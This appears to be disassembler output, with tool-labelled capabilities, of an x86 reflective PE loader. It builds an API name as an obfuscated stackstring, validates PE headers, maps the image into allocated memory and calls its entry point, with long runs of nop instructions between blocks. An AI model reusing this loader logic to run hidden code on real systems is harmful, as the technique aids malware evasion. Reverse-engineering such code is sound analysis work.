Function at 0x401230
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.HeapAlloc
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push str.VirtualAlloc
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov al, 0x65
mov cl, 0x73
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x19], al
mov byte [ebp - 0x15], al
lea eax, [ebp - 0x20]
push eax
push str.kernel32.dll
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x18], cl
mov byte [ebp - 0x17], cl
mov byte [ebp - 0x16], 0x48
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0
call esi
push eax
call edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x40130f
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
add edi, dword [edi + 0x3c]
mov dword [ebp - 0x10], edi
cmp dword [edi], 0x4550
je 0x401326
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi + 0x50]
mov edx, dword [edi + 0x34]
push 4
push 0x2000
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
mov dword [ebp - 4], esi
jne 0x401367
mov eax, dword [edi + 0x50]
push 4
push 0x2000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [ebp - 4], eax
jne 0x401364
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push 0x14
push 0
call dword [ebp - 8]
push eax
call ebx
mov ebx, eax
xor eax, eax
mov dword [ebx + 4], esi
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + 0x50]
push 4
push 0x1000
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [edi + 0x54]
push 4
push 0x1000
push edx
push esi
call dword [ebp - 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp + 8]
mov ecx, dword [edi + 0x54]
mov edi, dword [esi + 0x3c]
add ecx, edi
mov edi, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 8]
add eax, dword [ecx + 0x3c]
mov dword [ebx], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [ebp - 0x10]
mov eax, dword [ebx]
mov esi, dword [ebp - 4]
push ebx
push edi
push ecx
mov dword [eax + 0x34], esi
call fcn.004014a0
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + 0x34]
mov eax, esi
sub eax, ecx
je 0x401436
push eax
push ebx
call fcn.00401760
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.00401830
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.004015f0
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x401494
push 0
push 1
push esi
add eax, esi
call eax
mov dword [ebx + 0x10], 1
pop edi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret